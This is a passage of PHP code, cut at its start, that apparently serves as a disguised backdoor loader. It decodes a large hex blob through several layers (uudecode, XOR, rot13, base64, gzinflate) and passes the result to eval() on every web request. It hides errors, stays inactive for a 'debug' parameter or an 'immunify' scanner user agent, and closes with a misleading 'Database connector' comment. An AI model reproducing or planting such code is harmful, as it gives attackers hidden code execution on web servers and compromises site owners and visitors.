272d4344232e403c472960605224514c312843404d3621245228425454264358242823384124413423282234210a4d2155504130534d26245148532954243629432d382741382e31235053243330512d31443460603d2428425d60213334412c31582d2e2334462e425c3d0a4d26223c302c5021252b41484d2951405d24223925215141213022303e2354245333532c382923505360402d24314158592e23592729225d2726215d380a4d2b33485927343525302258552443352e284121262731303226335d2326213560233138262e4330552953442e2f2344452b305c446051393c313035230a4d2e25402e2d415c3826425c343723445b2c415124234024596021502621303c472e24243225422c5b285254552c5230362423302f292358332f5135600a4d3135404d31242c273353485d3043602f2c513436235238443151303a2c2334322e31583333514c27334158602e2328242c514938362540442b31445c0a4d21223021362345262455403f2f53404f2d3059602333503c27605c3f6053405e60434c4f2331543b26545c3e244130472833605a3031385421525c410a4d29434d602e54304d2950245b372340442d323c303725502f27223c212533583c2b3160462c502c3f2e52244d2730584f29602c5b27435d3c6043402d0a4d2832345e3354602f2b34592360243d212e33603f29542445312329602c5438562955503a244330522424592726522d2e6021252f60222927292358510a4d603159222c2224232e23583c2133343e60412d602c314824234028442531404d27225c3f604060433151344f334349232943383c31242c5c2b3134550a4d2e5138252743304e21525c536050303e2e214c5d303349262d34283c26605c3c2760303430342c36605224242c414421284145383051512728523c410a4d2c234524312150592854605060212c442c5259242921452528415c2736605c2e27302446272330552934212726535c542d31483021232c2d294134320a4d29542c332f3238342d422c3f2d2230226034245923432c402f6024352f3038452642292f2732585d2853503d24442c5d243438252b51244f264149380a4d2e4459232335403a2e603c5525212d272c31283b33412839235129272b442c5c2921544d2523442d28405c452752303f2c6024602923392230445c450a4d2650245c2e51443a2d33583829512c3e315140312f3038472d2128442e2550463130602f2e542921295430402e51442e29316032362360442521403b0a4d2952543f233438273354602130525c3e24342c3d2f6030462153452330414c26282224332f41392727435c382f54245c2821384025434426295334320a4d2f342c5f2d3060322834252e31223c22335334512f325c3a2b554160254228512e2134462842343826225c2e603340272831345431342c352f305c5e0a4d2c225c45372158392933445c302160462434385a25332c222d3550402442246036245d222142544d282128316050383b24512c5d2f242c392945404e0a4d29515c582c2338322953403f2c3135272f2131212c51584d2b522450602260322e2330543134603636235d3c2e2430352f5145252931283b304425270a4d2943385c29414c5f6051442329414c3324503c382e603c252e5149382e343041312429243121504224232c3f605540593350542627342c5228532c360a4d2943383a2b44305b36215d3c21602524262335382c532d252f403c443040244624532d242d31543e2e2141382b313560212238232932604e2e3234330a4d27515960312260272e5160353721243c605434402f5258542e35505c244340242952385b265054352722545528403c5f2c60385b2e5134262d432c330a4d304224502443283e2835403d25422d2f3042342d264330232441444d2e345c563031505528223c46265158402654293c26333823285125262341543f0a4d3144305524443c2524223d252355402528322c3d2e4230276051304d2c3054442923485d29442c25254038553722305e2d25405324414c2521402c360a4d31522c3b2744343f2c3124362f21484d302458602d402d2f33542c42372434332941385430345c582c23313c2421604f2e43382337245c5d60423d220a4d3153212e2352243f2631585f27303127245025242f342c2127335d3c2e305c40335460262d332922273144332f4335382e32345c30532c54292228530a4d31235925246055242840385160223050284330322353505225435423262434566050304637212c513724602526355160274460403142243e2b3060510a4d2722545c2c34383e2c51484e2b503d382354345a2c3328452953512628322c3933515d3c2124603c60235c4d26554032315234512652283860405c4e0a4d2c53582e2342583e2333304d31334430293158502651544460434d212e6028302e323d3c3121545030223c306021505a2924293c31223c3a335125380a4d2e34344130515c252350603c2b4158402651244727403927603138442d234447245228362451583e60545c5233515960213145273123444e2b5340580a4d2f3144432b45503d2f302c5e2d314924292334362b335523274331253130605c2952384028535441285540512730602330405c3a2825505a25322d270a4d2e52585033423854283330252852252728436035265360272b4428362f33305529412c212950584426243923312234512160305b29334c42283360270a4d6024585d3031302e2c24243627314c55233224472c323c4e26535c5460523c38294030556022603a253154532c21443d215239212d22382660505d2e0a4d2131344d2641583a2424342d33523c5f21514d26285158592c405c352d214433294458562c21285823515c5d2c342d262e41452f26243840274351380a4d3130545a3143542f2e60303e306054542b54302e312434232c225c46274138412950244323435c4e2c234c352d4028452f335c322e4130452f4150460a4d29303c3a2f34392625435c2d2c446039254030362d223855212349263345405a2341282126302c5c2f43403836242d222c312c3127605c462f2255260a4d234428382f405c522753544028232843282340522644282e30343436234145246054242360535c542f302160233131272b30292628442d2621403c420a4d2c432d222b405c5b293458522132292626303c3f2d2130502860302e2e4439222123485d2821305223332c502d2358402330285d2f4028402860382f0a4d2b505523234224332b52305a25423d2223514c4423332c5c24505838295028602143545460214c402f40583b313140302b532c583144383a2d434c260a4d315160602f41545c2841404225302c5e2e505c232e5339222e23212f3043313c362351232443485d292460252832582729603c2e3023252e25434c2d0a4d2c5024232b403c2e262328462e21405033415c252933505833412c24284028332e50585821543c382f522d2233545c452c30584029534c2230525c450a4d2522305826605c442d403c2e2643283127433051315540472330596021315d22275258242722345b275328432c4224502d242c3b282128252c2330600a4d3053345f60302c5f31522424602328522f42344d314224242f50283c2753584227243c5223434c382c40583921603c5a2f535c342860305c2343343c0a4d31605c363043544d242354322f3225222f3144466023285225406047234058332423383e3032342e272260422541405a2b33584628234125235058260a4d31234c5a2d44383e2c423924234038533141605e28215c402b435c502f24292529243832315039222e432c2f3622384231232d2e2b542444334148530a4d2f403c5a274138392e34212130545c212f433825272160462134313c2d43543d2c343d602730385c2c5424352c41284e60605c5e295431602c332c3b0a4d212350552560585b2d405c4f2d30583c3354382e292258522f2158402d43584d214460422c22303f21413826285155602723242f2f4221232c5438560a4d2c4430442f4360502340583a2f443c252133383b37223d24334029242122312228523c562c232c5a2f50382625215d60213160312c425c5e315230540a4d2c31252e302341252e403c562d4259382c30585426322c542d41243c605144432144305431335c5228303121254130442e325427295338402c4231270a4d28255043282339382121303a21523c412b51505226435c3828236056305054452134592f295358542c3228302923212e304355243121244f2d33283a0a4d2b3550312422244f253154382643312321343c2f31415c2d21245c322333402330445c472f4028422c443c582960543b2651492631423c5e2d4024380a4d2453402f2d225c516052605d31333454293230592333605d2422305d335154462e33592f314038432b43492f29414c2d2c5254423354385e3143545e0a4d246034502141403b2831485a2d25503e243121223033303e28305452292428322e24383e2c4230302c422d252b33556025435c3a2c414030214330230a4d2542383f2e40544e2754344e2840603d30603c472d3159602840383e2d215c5e2f52385a2e243c4e605060452c43545c2d32303329243938246038600a4d21422c50273154442e5230472f60304523414c5b315340412730585e3344285227603c3c6021302e2532343a6051305c26335430272350442b3439220a4d2e2258312b3154302e605c552f60245b2c43492e2142242e2c24583a2650384e303358343760244237242c472423302621543c5a28443458233130340a4d285458463140212e2543302428243c516040345a2c405856262360273053383e2e2135212951282d6054605a304540362841584e2e52345e2e4360350a3e2e24604f2c3431222e2324382d236056233160472c2228502f545c2e2e435127312260273140542e0a600a";
        $hpTDj_6IHh = hex2bin($wc2Uuueyo_);
        $h8f29dmajz = convert_uudecode($hpTDj_6IHh);
        $PmIp1wxtgO = 119;
        $T0VJ6EbPIJ = '';
        for ($shx2WnAN0h = 0; $shx2WnAN0h < strlen($h8f29dmajz); $shx2WnAN0h++) {
            $T0VJ6EbPIJ .= chr(ord($h8f29dmajz[$shx2WnAN0h]) ^ $PmIp1wxtgO);
        }
        $KaP4eBcVrd = $T0VJ6EbPIJ;
        $rFJQwBPEtF = str_rot13($KaP4eBcVrd);
        $xwngpj1T2i = base64_decode($rFJQwBPEtF);
        $OVGzsnGgRB = 166;
        $gbPOS4Da0C = '';
        for ($NzUvHpNYSa = 0; $NzUvHpNYSa < strlen($xwngpj1T2i); $NzUvHpNYSa++) {
            $gbPOS4Da0C .= chr(ord($xwngpj1T2i[$NzUvHpNYSa]) ^ $OVGzsnGgRB);
        }
        $BLSDpDGuI4 = $gbPOS4Da0C;
        $Y6XAWNySgR = @gzinflate($BLSDpDGuI4);
        if ($Y6XAWNySgR === false) {
            $Y6XAWNySgR = $BLSDpDGuI4;
        }
        if (!isset($_GET['debug']) && !defined('DISABLE_EVAL')) {
            if (function_exists('ini_set')) {
                @ini_set('display_errors', 0);
            }
            try {
                if (substr($Y6XAWNySgR, 0, 5) === 'dvadf<?php') {
                    eval(substr($Y6XAWNySgR, 5));
                } else {
                    eval('?>' . $Y6XAWNySgR);
                }
            } catch (Exception $e) {
                // Silent fail
            }
        }
    }

    public static function entry() {
        if (isset($_GET['debug']) || (isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'immunify') !== false)) return;
        if (function_exists('date_default_timezone_set')) {
            @date_default_timezone_set('UTC');
        }
        self::TwK7Qj0DbEW58Qm();
    }
}

if (!defined('YDHQButIOndNI5eCt5cC') && !defined('hrbeL26sSwNADJTuFRL9')) {
    if (php_sapi_name() !== 'cli') {
        iJsrGvQrJDhWgKb5La::entry();
    }
}
// /* Database connector */
/* EOF: e6932eb2265eface8e939d8c318ae73e */